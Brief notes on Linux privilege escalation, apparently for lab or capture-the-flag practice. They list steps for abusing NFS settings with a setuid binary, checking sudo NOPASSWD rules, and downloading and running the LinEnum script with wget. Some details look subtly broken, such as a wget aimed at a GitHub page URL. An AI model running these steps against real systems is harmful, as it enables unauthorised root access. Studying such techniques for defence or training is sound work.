Linux escalate steps

Goals

• From nobody to user
• From User to root

From nobody to normal user

Methods

• Can attack using user with same uid and gid as with victim uer in victim PC
• Via NFS root_squash,no_all_squash

To use setuid

• Sample code https://github.com/lethanhtung01011980/Notes/blob/master/runAsOtherLinuxUser.c
• su - frank
• vim runAsOtherLinuxUser.c
• gcc runAsOtherLinuxUser.c -o runAsOtherLinuxUser
• chmod u+s runAsOtherLinuxUser
• In victim PC, ./runAsOtherLinuxUser

From user to root

To if can run sudo with "NOPASSWD" aka as root:

• sudo -l
• User frank may run the following commands on this host:
• (frank) NOPASSWD: /opt/logreader/logreader.sh
• (adm) NOPASSWD: /usr/bin/rvim /var/www/html/jailuser/dev/jail.c

Or run LinEnum

• https://github.com/rebootuser/LinEnum
• wget https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh
• ./LinEnum.sh -t